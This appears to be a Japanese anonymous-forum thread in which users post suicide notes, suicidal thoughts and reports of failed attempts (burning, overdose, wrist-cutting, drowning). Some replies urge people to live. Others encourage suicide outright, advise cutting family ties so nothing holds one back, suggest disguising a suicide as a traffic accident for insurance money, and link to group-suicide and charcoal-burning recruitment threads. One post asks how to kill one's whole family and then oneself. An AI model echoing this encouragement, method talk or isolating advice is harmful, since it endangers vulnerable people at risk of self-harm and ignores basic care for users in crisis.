（第七十条第十七号又は第七十二条第六号に該当する者を除く。）は、
三年以下の懲役に処する。

２　営利の目的で前項の罪を犯した者は、五年以下の懲役に処し、又は
情状により五年以下の懲役及び百万円以下の罰金に処する。

３　前二項の未遂罪は、罰する。

覚醒剤　フリー百科事典『ウィキペディア（Wikipedia）』
http://ja.wikipedia.org/wiki/%E8%A6%9A%E9%86%92%E5%89%A4

きっと憎まずには生きられないし、だけどもうこれ以上憎むのもイヤ。
自分はのうのうと結婚して、あたしの子供のことは知らんぷりを決め込んで、
殺してやりたいと思ったよ、あなたを。
ただこの憎しみを解消したかった。
正直に何もかも言ってくれればどうにかなったかもしれない。
でも、今はもうどうにもならなかったっていう事実しかない。
自分の感情に振り回されるのには、もうウンザリだ。
あなたに出会わなければ良かったって、今、はじめて思う。
あなたが知らないフリをしたあなたの子と同じところに行くよ。
あたしが殺した子だ。
あなたに情なんて期待していないから、
なるべく、あなたには伝わらないようにするし、だから、
勝手に、幸せになってください。
もう、なるべく迷惑をかけないようにって、
それくらいしか、できることはないみたい。

お母さん、ごめんね。

死にたい

もう書き込まない方がいいかなーって思ったんだけど失敗してしまった事実を誤魔化す事は出来ないので書き込む事にしました。
歯を抜いてガソリンかぶって火をつけた所までは良かったんだけど近所の人に見つかって消されてしまいました。
年末に実家に帰ってきたんですがまた病院に行かなければいけないそうです。
もう生きてるのは辛い。でも焼死は失敗した。
もう首つりで楽にいきます。
もう私の事判る人はこのｽﾚにいないかも知れない。でも事実は書きたくて書かせて貰いました。すみません

疲れた。
それだけ。
部屋は片付けてあるから
遺品の整理はそれほどないよ。
もらっていたお小遣いもほとんど使わずに
残ってるから何かの足しにして。
出来ることなら葬式はしないで。
知人も昔の同級生も呼ばないで。
同窓会にされるのはまっぴら。

さようなら。生まれて苦しいことばかりだったよ。

>>276 ﾉｼ
アコ！!覚えてるよ

自分生きたいです。
死にたくないです。
でも生きにくいです。
死にたいなんて言いません。言ったら最後になる気がしますから。

ｱｺ！覚えてるよ。生きてたって分かってすごく嬉しい。ほんと！
失敗して痛かったり苦しかったり辛いと思うけどさ、
どーせいつかは死ぬんだから、その日まで寄生虫のように
ずるずるだらだら生きてみるのはどうかなあ。最近の私がそんな気分なの。

>>276
歯を抜いたのはなぜ？

死ぬな、
遺書を書き終えるまでは。

ｱｺ、歯はどうした？入れ歯、差し歯、いろいろあるよね。
ｱｺの心はとっても美しいと思うんだ。火傷の具合はどう？痛い？痛いよねきっと。ｱｺの心は綺麗すぎるんだ、きっと。

貴方の言動で這い上がる事の出来ないどん底まで落ちてしまったよ
貴方を好きな分だけ一人で生きるのは辛い
せめてきちんと別れてから次の人見つけて欲しかった
貴方がいないならこの世にいる意味がない
貴方は『お前は生きてる価値ないよ』と言ったね
その言葉のままに逝こうと決めたよ
さよならリュウちゃん

アコの歯無しフェラ…ﾊｧﾊｧ

覚えてくれてる人ありがとう。何だか凄く嬉しいです。
私なんかの事を…て思う事もあるけど…今はとにかく嬉しいです。
まだ実行出来てないけど死のうとは考えてます。それが自分の形を残すような死に様でも…。

ｱｺ､覚えてるよ!生きてて良かった!私が初めて死にたくなってここに来た時､ｱｺがいたんだよ!また､久しぶりに死にたくなってここに来たら､また､ｱｺに会えた!ｱｺ､一緒に生きよう!死にたくなったらまた､ここに来ればいいじゃない｡

自死遺族のサイトなんかありますか？

死にたいと思った時が死に時。
タイミングを逃すと悲しみや苦しみに襲われる。
死にたい奴は死ねよ。

私はまだ死なない。あと最低１２年は死ねない。
どんなに苦しくても悲しくても…
お前が一人で生きていけるまでは傍にいてやるよ。
そして私が死んだ時には間違っても葬儀なんてするな。
墓も立てなくていい。
私が灰になったら、あの海へ帰してくれればいい。

そして供養なんてしなくてもいい。
お前は自分の幸せだけを考えて生きろ。
ただ、この言葉だけは残して置く。

「私はずっとお前を愛している」と。

地震や津波や殺人事件、死ぬつもりなんか全然なかった人がざくざく死んでさ。
まだ死神は私のところに来てくれない。今日も生き延びさせてくれちゃうのは何故なの神様。
死ぬな、お前に死なれたらｵﾚは悲しむぞ、許さない、ダメ！なんてさ。
悲しんでくれたとしても半月経てばきっと忘れる。
止められなかった罪悪感に苛まれたくないからそんなこと言うんだ。
集団自殺の増加はインターネットが原因、なんて、国としてその数字がまずいだけ。
実のところ、関係ない。

私みたいな蛆のような生き様、本当に恥ずかしい。
私の親はもっと恥ずかしいだろうな、ホントごめん。
こんな筈じゃなかったよね？きっと。
どんな大人になるんだろうって思いながら、
期待と夢を込めて育ててくれた私の親。
なのに、大人なってみたらただの寄生虫。
どんなに親が悲しんでるか、そう思ったら、
今まで私の為に苦労してくれたことが全部無駄だったと思うと
もうやりきれなくて死にたいよ！ホントごめん！
ただ生きてるだけなんて、私には苦し過ぎるよ。
普通の感性で、普通に健康な人になりたかった。

>>291
ｽｺﾞｲﾜｶﾙ･･･ｽｺﾞｲﾜｶﾙﾖ('A`)

死にたい理由は、山ほどある。
恨みつらみもあった。
でも、それさえどうでも良くなった今、本当に死に向かってるんだなと思う。

確実に慎重に準備している自分が、冷静な自分が　少し嬉しい。
失敗はしない。だから、あせらない。

死ぬというよりかは、消えてしまいたい
何もかもなかったかのように、なくなってしまいたい
ドクターストップがかけられ、大好きだった運動ができなくなり
鬱病も発病して、人に迷惑ばかりかけているし
他にももっと、ハンデだらけだ…
いないほうがましなんだって…
本当に…いないほうが…ね？
だから元から何もなかったように消えてしまいたい

アコはもう逝ってしまったのかな……


漏れの童貞奪ってくれる約束…

母さん、私は母さんのことを想うとどうしてもこの世に生きながらえている私の命が
無駄な気がして仕方がないです。
母さんがどれほど私を育てることで苦労に耐えて、私を生きる希望につないできたことか。
それを想うと本当に胸が苦しいんです。
私は母さんを裏切ってしまった罪の重さに耐えられません。
「鬱」という病気で自分の罪を誤魔化そうなどとは露ほども思っていません。
歳を取った母さんの後姿を見ていると、普通に振舞うことがツライのです。
母さんは、私に望んだほどの幸せを得るべきです。
私のような子供を持って、どれほど悲しい想いをしてきたか。
これ以上、私のことで母さんに負担をかけてはいけない気がします。
それは、罪から逃げると受け取られるかもしれませんが、
今の私に出来るのは、母さんの前から消えることです、よね？
いつか、ぼそりと言いましたよね？
「どこか離れた所で幸せに暮らしてくれたらいいのに…」と。
母さん、苦労をかけて本当にごめんなさい。

何かが出来る筈なのに何ひとつ手に付かない。
多分、自分は何もかもを自分を哀れむ為の道具にして居るだけなのだ。
誰かと付き合ったとしても結局自分の利益のみを考えて、
自分等を信じ、愛おしんで呉れる人に迷惑を掛け、酷く傷つけるしか出来ないのだ。

自分等を好きと言って呉れる存在さえ信じられない。
そんな風に何もかも疑ってばかりの自分が嫌だ。生まれないで欲しかった。

私に今迄関わってくれた全ての人たちに申し訳無くて仕方がない。

私はもう、無理なんだと思う。
愛しむと云うことさえファッションになりさがってしまっている。
本当に、私と出会ったりさせてしまってごめんなさい。
私さえ居なければきっと、誰にもこんな思いはさせなかった筈なのに。

眠剤アホほど飲んでも死ねなかった。
だから次は眠剤たくさん飲んでリスカした。でも死ねなかった。
後はクビを吊るか飛び降りだけだね。

どのみちキレイに死ねないのならぐちゃぐちゃになってもいいかな？
最後の｢親孝行」
ボケた振りしてダンプカーにでも引かれようかな？

…せっかく冬なんだから、眠剤＆酒＆お外で睡眠

つか、親生きてるんなら「親孝行」にはならんだろ

俺を利用し借金まみれにして人生を奪った両親に復讐したい

朝を迎えることなく眠りにつきたい。
そんな日がくるのをずっと待ってた。
さようなら。

死にたい。漏れの人生めちゃめちゃにしたﾔｼに復讐してから死ぬつもりだったが、もはやどーでもいい。とにかく死にたい。頭おかしくなりたい。
と思いつつ平常心保とうとする自分がいやだ。
死ねば全てが万々歳。人に迷惑かけようが自分は死ぬんだから関係ない。そんな勢い。
飛び降りてみるか

飛び降りは 人に迷惑かける。
他人の人生を奪うのはやめれ。
自己完結するしかない！

>>299
いや、交通事故に見せかけて死ねば保険金が入るから
多少は親孝行にはなるよ。
俺が交通事故で死ねば１千万は入るはずだ。
相手の運転手には悪いけどなｗ

好き生まれてきたんじゃない。生きてることほとんとが苦痛。
だけど、バイト先の先輩達に出会えた私は、きっと１番の幸せ者です。仕事がなかなか覚えられない私に親切に教えてくださり、学校での相談にも沢山のって頂き、感謝ばかりです。
本当に本当にありがとうございました。先立つ不幸をお許しください。さようなら。

>304
そうだな、相手の運転手は仕事も無くなって家庭も崩壊して、
奥さんが心を病んで入院したり、娘さんが収入の無くなった
家族の為に学校やめてソープで働くようになったり、
息子がどこに怒りをやって良いか分からなくなって犯罪に
手を染めて、それを引き取りに行ける人も居ないような家庭になって
ちょっと前まで幸せな、何でも無いような平和な家庭が、
もうボロボロでどうにもなら無くなっても



死んじまった喪前には関係無いもんな

ホント迷惑だな、存在してること自体

ごめんなさい。
あれだけお金かけてもらったのに大学いけませんでした。
風俗に手を染めてしまいました。
なにより、毎日死にたいって考えている私です。
全て許してくれる両親ならば、もう一つ。
死んでしまうことを許してください。
今までありがとう御座いました。もうこれ以上苦労はかけられません。
最後まで、期待に添えなくてごめんなさい。

馬鹿でごめんなさい　お母さん、私よりもっといい子産んでたらよかったのに
私に弟や兄や妹や姉がいたらよかった　そいつらはきっと頭よかった
お母さん頭いいもんね　多分受け継ぐと思う
私不良品だよ　御免ね。生まれて御免・・・・・どこで間違ったのかな
私お母さんにいい思いさせてあげれなかった　ごめんなさい・・・・

なんかみんな、幸せそうだ。

どうか悔やまないでください。
もし、あの世というものがあるなら、
僕はそこでも、ギターを弾いてるでしょう

これから医師、カウンセラーをぶっ殺すのが流行るらしい。

嘘っぽい綺麗な世界と汚れきった汚い世界
もう見たくない。

どうしても希望が見いだせない。
創りだす気力もわかない。

ゴミのかたまりでごめん。
もう二度と生まれたくない。

生んでくれてありがとうなんて嘘でも言えない。
ごめんなさい。

今までありがとうございました。
迷惑や心配ばかりかけていた人生も今日で終わりです。
私のことは忘れて下さい。
皆で幸せに暮らして下さい。
最後のお願いでした。さようなら。ありがとう。

何もかもが嘘のように感じる。
家族も友人も自分も。
こんなの、きっと最初からなかったんだ。
暖かい家族なんていなかったんだ。
他人の俺に構ってくれてありがとう。
でも、もういいよ。
俺は眠りたいんだ。

死にたい。欝と不眠で限界。
もぅいいよ。
謝りたい人たくさんいる。みんなごめんね。私のこと軽蔑してるだろうし恨んでると思うけど、私はみんなのこと大好きだよ。
私の人生いいことなかったけど、みんなと過ごした一年が一番楽しかった。本当にありがとう。

, 　∧ ∧
､ (´･ω･)
, _｜⊃／(＿＿＿
／ └-(＿＿＿_／
￣￣￣￣￣￣￣

おはよ。

（諸悪の根源が見つかったよ！！！！）
ダメだ。
脳みそが腐った。ダメになっちゃってる。
もうダメ。消さなきゃ。
この意識から自由になりたい。無になる。
なれるか？なれなかったらどうしよう。
体が死んでも意識は残っちゃったらどうしよう
それがすごく怖い　

未成年が書いた遺書も遺書として機能するのですか？

勝手に死ぬな

皆さん、本当にありがとうございました。
遺品整理も全て完了しました。
後は死ぬだけです。
今日、お世話になった方々に、最後の挨拶に行ってきます。
大好きなあの人が、この先幸せに生き成功することを、祈ります。
私が死んでも、彼に何も思われないことが、少し寂しいですが・・・。
皆さんは、私の分まで幸せに生きて欲しいです。
本当は、闘病で苦しんでいる命が欲しい人に、この命をあげられたら
どんなにいいだろうと思います。
皆さんの幸福を祈りながら、死にます。
さようなら。本当にありがとう。

死にますさよなら

死

>>319
遺言書じゃないんだから歳は関係ないよ

俺もそろそろ死なないとな。

よし死ぬか。面倒だな。
3・2・1でパッと消えてぇな

どうやったら苦しまずに死ねるのかな…。
生きてるのも苦しいけど死ぬのも苦しいよ。

あなたが私との約束を覚えていない罰です。
私が苦しんだ分、あなたも苦しんでもらいます。
あなたの目の前で私は死にます。
今から死ぬ方法考えるだけでも、辛い気持ちが
楽になります。決行の日が楽しみです。

依存してすがって。そんな事で生きつないでいるなんて、あんたに迷惑かけるだけ。やっとそう気づいたから、逝きます。ありがとう。出会えてよかった。あんたの友情だけが、あたしの生きるつてだった。ありがとう。本当にありがとう。

死ぬなよ
死なないで

しぬって書き込んで、しんでないんでしょ？
書き込んで楽になるならそれでいい
ただ自分の体は自分だけのものじゃないとおもわん？？
おかあさん、おとうさんに愛情いっぱいに愛されて育ったあなた
これからはあなたが愛する番とちがうん？
今からでもいいから、恋人でも両親でも友達でもなんでも愛しなよ
親からもらったその体を。ゴミのようにポイッと捨てちゃうの？？

もったいないだろ！
おれは必要だと思うよ！

IDはSMでした…

生きてるよな
おはよう

おはよう、朝日が辛いよ

両親へ
あなた達にされた事は後世にも記憶に残るでしょう。
生まれ変わったら同じ目に遭わせてやるよ。

なんて恐ろしい遺書だ((( ;ﾟДﾟ)))

あなたが私との約束を覚えていない罰です。
私が苦しんだ分、あなたも苦しんでもらいます。
あなたの目の前で私は死にます。
今から死ぬ方法考えるだけでも、辛い気持ちが
楽になります。決行の日が楽しみです。

所詮ヤったカス､ゴミ｡
餌やって､学校行かせたのは､高収入・社会的地位のある職につかせて､餌代の元を取るためだろーが｡
元も取れない基地外になって､すまんねぇ｡
ゴミはゴミらしく､消えてやるよ｡

「母さん、あなたはずるいひとだ」

もし自殺するなら遺書に書くことなんて、そんなもの。
多くを語っても、あなたには無意味でしたから。だから僕もまるで無意味な言葉を遺書に記します。
名指しで書いてもあなたはきっと、誰かに責任転嫁するんでしょうね。
僕にはあなたが夜道どころか駅前で背後からいつか刺されるという類の危機感を感じていないのが、不思議です
世間にあなたの暴挙ぶりが非難されないのは、あなたに罪悪感が欠如しているおかげでしょう
外ヅラがいいだけのことでしょう

遺書はあなたに直接渡ることはしません。家族を通じても、しません。
警察宛に送ります。
筆跡鑑定ができるように、手書きで書きます。
あなたは、だだをこねて自身を責めることを拒否するでしょうか
いいえきっとあなたは自分を責めて「見せる」ことでしょう。
身に振りかかる自業自得の火の粉でさえ、偽りの涙で消そうとするでしょう。
家庭では病的なほど盗人猛々しく居直り強盗なあなたも、
世間体は同じかそれ以上病的に人一倍気にしますから。
僕はあなたが公の介入で世間から善悪を判断してもらいたいがために、そうするのではありません。（続く）

（続き）
あなたにささやかでも、世間様の前で恥をかいてもらいたいからです。
家族の話を聞くことの出来ないあなたには、家族の外で晒し者にされるしかふさわしい方法はない。
あなたに僕の死を哀しんでもらいたくなんかないし、
そんなつまらない偽りの哀しみを吹き飛ばすような恥と恨みを抱いて欲しいのです。
そしてあなたが今まで自ら溜め込んだと信じるプラスの世間体のダムを決壊させ
白い目で見られる被害を被って欲しいのです。
勘違いをしないでほしいのは、これはあなたに改心や罪滅ぼしをさせるきっかけを与えたいなんて思ってのことじゃないということです。
僕がいちばん恐れるのは、あなたが僕の後を追い自殺することです。
僕はあなたに責任をとってほしいのではなくて、あなたにあなたの犯したことを自覚してほしいのです。
それに僕の精一杯の残酷な仕打が、そんなことで簡単に洗い流されご破算になることは、認めたくありませんから。
ほとぼとりが自然にさめるまでめいいっぱい「外側から」責められてください。
職場、家族、近所、親戚、マスコミ？に、
ひとでなし、人非人、鬼畜生、と。
そして自らを責めるしかなくなり、
生きず死なずの余生を送ってください。
（了）

そんなにお母さんが憎いんだぁ・・・。
（TоT）悲しい・・・。

血のように赤い色のインクのペンで

「父、姉へ
お前達が俺にしたことは絶対忘れない。
俺を殺したのはお前達だ、絶対に許さない。
呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる
呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる呪ってやる」

遺書のそばの壁には俺の血で書いた「呪死」という文字。


補足：本文の「呪ってやる」の部分は書き殴るように、そして後のほうになるにつれて
だんだん大きく読むのが困難になるぐらいの殴り書きにしていく。

>339
自分が書いたかと思た。
そっくり。

>340
悲しいですか。僕にはもうそれすらわかりません。
社会的に見れば家族から隔離されるべきは、恐らく母に違いないのですが、
実際にはそれは困難とパワーを要するので、それとは逆に家庭内で居ながらにして苦しんでもらうよりほかにありません。
悲しんでくれて正直に嬉しいです。
僕もこの異常事態にひとときの人並みの悲しさを束の間でも思い出させてくれて。
たとえ何も実際には変わらずとも・・・

>442

同意嬉しいです。
厚かましいお願いですが、
似ててもいいから、いえ似てるからこそ、442さんの遺書もできれば拝見したいです。
気が向いたらでいいので、いつかこのスレで書いてもらえないでしょうか。
もし過去スレにあったらスレ番号とか教えてもらえると嬉しいです。
無理にとは言いません。粘着するつもりもないです。いつか、できたら、で、お願いします。

どこの母ちゃんも自分勝手で気ままで「私がこの家を成り立たせている」
と豪語する自己中心的な生き物。
気に入らないことがあると責めたてるしなぁ。
所詮、分かり合えることなんかないよ。辛いよな・・・。

そんなアホの為に死ぬのはもったいないなぁ・・・。
母ちゃんなんて放っておけばいい。

家、出たらスッキリしたよ。今は家に帰る事もないから精神的に安定してる。
母ちゃんが死んだら骨くらいは拾いに行ってやるか、くらいに思えるようになった。

その家出るには金がいるでしょ?俺にはないんだよ｡
我慢できなくなった今､死ぬしかないんだよ｡
くだらない人生だったな

私は母親のだらしなさのせいで顔に傷が出来て、ﾋｷ。出ていけない…。何とも思ってないんだよね。自分は藁って家事しないで遊びまくってる。何年も殺意抱いてる。

新聞販売所の住み込みのバイトとかなら
資金がなくても体一つで雇ってくれる場合もある。

俺は何が何でも家を出たかったから頼み込んで入れてもらった。
仕事は辛いこともあったけど家での母ちゃんとの地獄を思うと我慢できた。
掃除の仕事も掛け持ちしたりして何とか生きてきた。
人と関わるのが苦手だから新聞配達や掃除の仕事はなんとかやれたんだよ。
掃除の仕事や新聞配達は母ちゃんにとったら屈辱なんだろうなぁ、ざまあみろ、
と思ったりもしたよ。

もう少し金が溜まったらもう一度大学に行きたいと思ってる。
夜間でもいいや・・・。

今は家とはこっちが完全に拒否してるから関わってこない。
もう、関係ないよあのキチガイババアなんて。

俺のことはあんまり参考にならないかも知れないけど
>>346は自暴自棄になってたかつての俺だなぁと思ったんだよ。

これまで私と関わってくれた皆様へ

とりあえず私は先立ちました。
通夜及び葬儀は結構です。私が貯めたお金で、火葬して下さい。
家族の皆様、私が人格障害のせいでかなりご迷惑をおかげしました。
まことに申し訳ございませんでした。
でもこれからは、私の為に心やお金をすり減らす事もありません。
私の事は忘れ、幸せに暮らして下さい。
私の選んだ死なので、決して自分を責めないで下さい。
それでは。

平成17年3月28日
〇〇〇〇〇

これを読んでる頃には、あたしはこの世に居ない。やっと、あなたたちから解放されたんだね、今まで生きてくのが辛かった、さよなら

ありがとうございました

もう私に出来る全ては終わったよ
みんなのことはたぶん、愛してた
ただ私だけが狂ってただけなんだ

それじゃ、先に行くから

中途半端に死んでも辛いオバケになるだけだよ。
いわゆる幽霊というのになっても辛く苦しい日々なんだよ。
自殺した人の霊で満足してる人は誰もいないんだなぁ。
皆、後悔してる。
お迎えが来るまで生きてみたら？

ワタシは鬱よ
今死にたいの心よ
ホントよ！

ごめんね



ありがとう



さようなら

川に入っても死ねませんでした。
だれかいい方法教えてください。
遺書は書きました。

お迎えっていつくるのかな？

そろそろ遺書を書かねば。
誰のことも悪く書かないつもりだけど・・・。
自分の事ばかり書いてしまいそう。
「自分はこういう人間だったんんだ」って・・・。

人間いつかは死ぬんだから待ってればいいよ。
金が無くてご飯が少ししか食べられなくてもなかなか死なないもんだな。

おおはまじゃんこ おのひろし たかはしのぞみ おかざきみくさかもとせんせい小学校から自殺したくてたまりませんでした。私を追い詰めた。何年ももがき苦しんだ。 恨んでないよ。みんな幸せになってね。私は苦しみに絶えれないので死にます。楽になりました笑ってね。

死んだら本当に楽になれるのだろーか？
あたしも高校の頃から死ぬ計画してたな…。

私の人生には何の希望を見出すことはできませんでした。
小学生の頃からぽつんと机に一人きりの孤独感。
他人に心を開けない自分。
そもそも自分というものがないから開く心もないんじゃなきか。
自問自答を繰り返し生きてきた２３年間に私は何の価値の見出せませんでした。
何に対しても興味関心がもてません。
ただ本望で、だれかに見捨てられないようにっすがりついてきただけの毎日。
もう疲れた。ただそれだけ。
お母さん、あなたを責めません。
お父さん、もう他人を振り回すのはやめてください。
妹、お姉ちゃんが全てだったね、私がいなくなったらあなただけ生きなさいとは
私は言わないよ。一緒に来たいなら私は手を差し伸べます。
もう楽をしてもいいんではない？今まで必死にやってきたじゃない。
私と関わった人が私といて少しでも喜びを感じてくれてたなら嬉しいよ。
ありがとう私の人生。
そしてさようなら。

目が覚める度体中疲れていて
鼻の奥が痛くて泣きそうにになる

全部投げ出したくて
何もかもが嫌で起き上がれない
いらいらして変な汗ばかりかく

頭ん中にドロドロのコールタールが流れている
意識のあるうちは常に死にたい
喚いても喚いても足りない
噎返るまで叫ぶ
体中をかきむしる
ああああああああ
この恐怖をどれだけ理解できるんだよ
もういい
あきらめた

みーちゃんの餌代は貯金を使って下さい
クローゼットの一番下の引き出しにカードいれてあります
暗証番号０５２９です
みんなには幸せでいてほしいです

家族全員殺して自分も死にたい。
自分だけ死に切れなかったら最悪だ。
どうしたら確実に逝けるの？教えて。
もう生きながら逃げたくはない。
家族全員リセットしたい。

あなたには私よりも大切なモノがあったけれど
私にはあなたが一番大切だった

先に子供のトコロに行ってます

私のコトは忘れていいけれど
子供の命日にはお墓参りしてあげてね

成人式が過ぎ、私の誕生日が来る前に私は死ぬでしょう。
最後の親孝行か親不孝か。せめて晴れ姿だけは見せてから死にたい。
私はもう、生きたくないから。
ごめんなさい。
憎まれて殴られても、どーしてかな。大好きだった家族。
さようなら。ありがとう。さようなら。

もう死んでもいいかな？
疲れちゃった

あたしも疲れた。
ﾏｲｽﾘー飲んで好きな曲聴いて眠るよ。

肉体は維持を続けるけど、魂はとっくの昔に死んでいた。
今頃それに気付いた。
私には何も無い。伏目がちに現実を通り過ぎてきた。
今の社会は肉体の消滅を禁忌するけど、肉体だけがごろごろと生き延びて何になるんだろう。
肉体が”人”である為には意志が必要。
既に私はただの肉に成り下がった。
虚ろな目で、顔で、私にできることは、希望の芽を摘み取ること。
人から親切にされて、異常に反応する自分が惨めだよ。
暗闇の中に、誰かを引きずり込む前に、消えた方がいいに決まってる。

私にCoccoの唄と白い菊を。
深く掘り起こした地面に黙って埋めて。
土に帰った私は中に入り、間をすり抜け、始まりに戻る。

誰かが自殺すれば、残された人達がどれだけ悲しんでいるか、
どれだけ故人が愛されていたか、必要とされていたかを人は語り、
周囲の誰にも罪がないことを証明しようとする。
自分たちを慰める為の儀式が葬式。
望みもしないのに命を与えられ、望みが無いから消えるのに、
どうして生きることを尊び死を選ぶことを罪とするのだろう。
生きることに希望を見出せない私には、私の存在自体を忘れてもらいたい。
名前や、どんな人物だったのかも、すべて忘れてもらいたい。
墓などいらない、儀式もいらない、ただ深い穴に埋めて欲しい。
私に命を預けたことを詫びて欲しい。
私には、この世は地獄で喜びなど一つもないのだから。
脳は干乾びて、黒い目は白く濁り始め、口から蛆を吐き出し、
肉は酸化しガスを漏らす。
空を仰いで私を呼んでも、お前の声など聞こえない。
何もかも、届かない所へ帰るのだ。
絶望と暗黒の世界へ。
私は普通じゃない。

「死のうと思う」と母に打ち明けた。
すると、「自分が何を言っているのかわかっているのか？」と言われた。
私にとって自分とはただの肉の塊で、その塊が一つ減るくらいどうということもないだろう？と言った。
母は泣き崩れて「じゃあ私はどうなるの！今まで何だったの！」と言う。
ひとしきり責められたけど、それは母の主観だ。
母が悲しむ？だから？　だから死を選んではいけないのか？
忘れて欲しい、私を、私の過ぎた時間を。交差した時間たちを。
何者にもなれない人間もいる。それが私。
人間の文明も営みも受け入れられない、私。
私が生きる場所なんてどこにも無い。
私がいなくても、地球は回る。ぐるぐる回る。
私が死ねば母は一時悲しんだり、自分を責めたりするだろうけど、時間が経てばまた笑える日が来る。
生れ落ちてから、毎日が通夜のようだった。
消滅にしか希望を持てない私。これが定められた私の運命。
母さん、元気で、ありがとう。

劣等感の塊になって身動きできなくなりました。
こんな自分に耐えられなくなりました。
だから、どうしようもない自分とサヨナラすることにします。
おれには生きてゆく力が足りなかったようです。

結局最期は人に騙されて一人で死ぬことになっちゃいました。
一人で死ぬのが嫌だからこんなとこまで来たのに・・・。アホすぎ。

ごめんなさい。今までありがとうございました。


○○へ。
○○○の試合行けなくてごめん。あの時にはもう決意してたんだ。○○はおれの唯一の友人だったよ。今までありがとう。これからも今までどおり堅実に、そして自信持って頑張って。


家族へ。
本当にごめんなさい。謝るのはこれが初めてかな。
おれは正直お父と○○のことが心配です。（おれが言うのも変だけど）とにかく自分の人生を楽しむだけ楽しんでください。
○○、世の中には色々な人がいて、その中には味方になってくれる人もいっぱいいるよ。だからそういう人と出会って話をしてみたらいいよ。
あと、貯金が少しだけあります。それで○○の服代にしたり病院行かせたりおいしいものでも食べてください。
病院はまず心療内科か精神科へ。○○○の○○○病院がいいらしいです。皮膚科にも行く必要あるのかな？
あと、○○ももう少し二人を気にかけてやって。一緒にご飯食べに行くとかさ。
あと、葬儀？とか余計なことはしなくていいです。おれの灰は海にでも撒いちゃって下さい。


いままでお世話になった方、ありがとう。
それじゃ、さようなら

お前と別れるようなことがあったら死のうと思う。
もう何もいらない。俺はただ幸せになりたかった愛されたかったただそれだけなんだ。
俺が死んだらお前一生後悔するぞ。俺の家族から非難されて罪悪感に打たれる日々。
よかったね。別れた相手が死ぬのなんて初めての経験だろ？お前はそうやってまた一人の人間を殺すんだ。
もう自殺する場所決めてるから。あとは時間の問題。お前次第。

ラウンジ

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　　　　　|　　　 / 　　　　　　ラウンジ最高
　 　　　 （　ヽノ
　　　　　 ﾉ>ノ

死んだらオナニーできないやん

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　　　　　 ﾉ　 　 / 　　　　　　ブーン
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　 三　　レﾚ

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ラウンジから来ました　記念ぱぴこ

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　 　 　　レﾚ

10が指定したスレにVIPPERで潜入しようぜｗｗｗ
http://ex10.2ch.net/test/read.cgi/news4vip/1113716167/

から来ました！

募集はこちらへどぞー

「集団」 自殺希望者集まれ！「ソロ」も可！
http://life7.2ch.net/test/read.cgi/utu/1111163805/l50
http://c-others.2ch.net/test/-/utu/1111163805/i
自殺したい人募集
http://life7.2ch.net/test/read.cgi/utu/1106998390/l50
http://c-others.2ch.net/test/-/utu/1106998390/i
自殺したい　その３
http://life7.2ch.net/test/read.cgi/utu/1110530402/l50
http://c-others.2ch.net/test/-/utu/1110530402/i
練炭自殺本気で考えてる方ｐａｒｔ2
http://life7.2ch.net/test/read.cgi/utu/1111222184/l50
http://c-others.2ch.net/test/-/utu/1111222184/i
【楽に】練炭専用スレ2個目【逝く】
http://life7.2ch.net/test/read.cgi/utu/1108701465/l50
http://c-others.2ch.net/test/-/utu/1108701465/i

http://fooos.com/

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自信がない。
行く当てもない。
死ぬ為に生きているのだから、早く死にたい。
頭がおかしくなりそう。
もう何もかもイヤだ。もうダメだ。
本当にもうダメだ。ダメだ。

どうして、あんないやがらせをするようなくずがのうのうと笑って過ごし
私は苦しんで眠ることもできないんだ。
努力なんて無意味だ
人間と関わるのは
もう嫌だ

悔いない。生まれてきていいことなんてなかった。

>>386
どうしたんだー？

絶世の美女

【ネット】「自殺予告」あった場合、書き込みをした人の情報開示へ…警察の要請で接続業者
http://news19.2ch.net/test/read.cgi/newsplus/1114047796/
ホントに逝きたいなら黙って逝った方がよさそうだよ

死にたい。
どうして死にたいのかわからない、でも死にたい。
何もわからないことが不安。
わからない、わからない、わからないことがわからない。
頭の中が壊れていく。
もうダメだよ。どうしよう。

「そしてジョゼは幸福を考えるとき、
それは死と同意語に思える。
完全無欠な幸福は、死そのものだった｣
『ジョゼと虎と魚たち』

うるさい
うるさい
うるさい
うるさい
うるさいうるさいうるさい
もう疲れたんだ

手首を切ったよ、血が出るのを見てると落ち着くよ。
眠たくなってきたよ。

帰るところがあるから、想ってくれる人がいるから人はなかなか死を
選ぶことができない。そのあたりを断ち切るには、家族から勘当されるまで
おもいっきり喧嘩する事です。大体そうなってくると相手から
見捨ててくれます。死をほのめかすのもいいでしょう。そのときに
勝手に死んで来い！遺体は引き取りにいかんからな。とまでくれば
未練は何もないでしょう。行く所もなければ帰る所もない、
絶好の環境になれますよ。

もう戦えません。疲れ果てました。
貴方がたには感謝しています。
しばらくは、迷惑かけるかも知れないけど、
もう、私は限界です。

ポエムみたいな遺書は笑われるだけだぞｗｗｗｗｗｗｗ

別に死んだ後に笑われてもなんともないからいいよ

俺は死ぬ前にはHDの中キレイにしとかないと、マジ死にきれんね

そうか？
オレはパスワードも全て解除して
日記とかありのまま残しておくよ。遺書がわり。
あやしい画像や資料もそのまんま
両親はどうせそれでもなんにもできない
そこへ刑事やら鑑識やらがやってきて
このノートＰＣを遺留品として一時預かり内容を調べる
両親にその内容が知らされる
両親は形だけの哀しみを吹っ飛ばし、
恥晒しな息子を親不幸者！恩知らず！ってわめくだろうか。
ただ単にうなだれるだろうか。

青いビニールシートに周囲を囲まれた家の上を
地方紙の小型ヘリが旋回しつつ撮影してる・・・のが見えるようだ

全部吐き出しちまえよ、うちの家族のヘドロ、黄色い廃水。
ぶっこわれちまえ。
俺の死をもってしても、回復しうる家族ならもう、
公の機関で離縁・親権剥奪、バラバラに砕いて、財産応酬、
無期別々に留置してくれ。

絵空事だが、遺書兼日記はＷｅｂ上に公開している。
実名こそは伏せてるが、プロバイダ側に実名住所とうろくしてるから、
全部がうまく動いたなら、あながち空想ではなくなる
僕はいつか実家のこの部屋で、変死するんだから・・・

今までありがとう。
体に気を付けて元気でいてください。

家族、恋人、友達…考えればわかる事だった。
血が繋がっていようが幾年も過ごした関係であろうが
所詮は個別な人間…別に私の全てを理解してもらうつもりはない。

ただ、私が死んだら…声をあげて泣き叫ぶよりも
「来世では互いに幸せになろう」
と笑顔で見送ってほしい。

最後に一言。

「　あ　り　が　と　う　」

昔だったら、自分なんかとっくにと打たされる人間。

父よ、あなたは正しかった。

母よ、あなたは強かった。

私が間違っておりました。

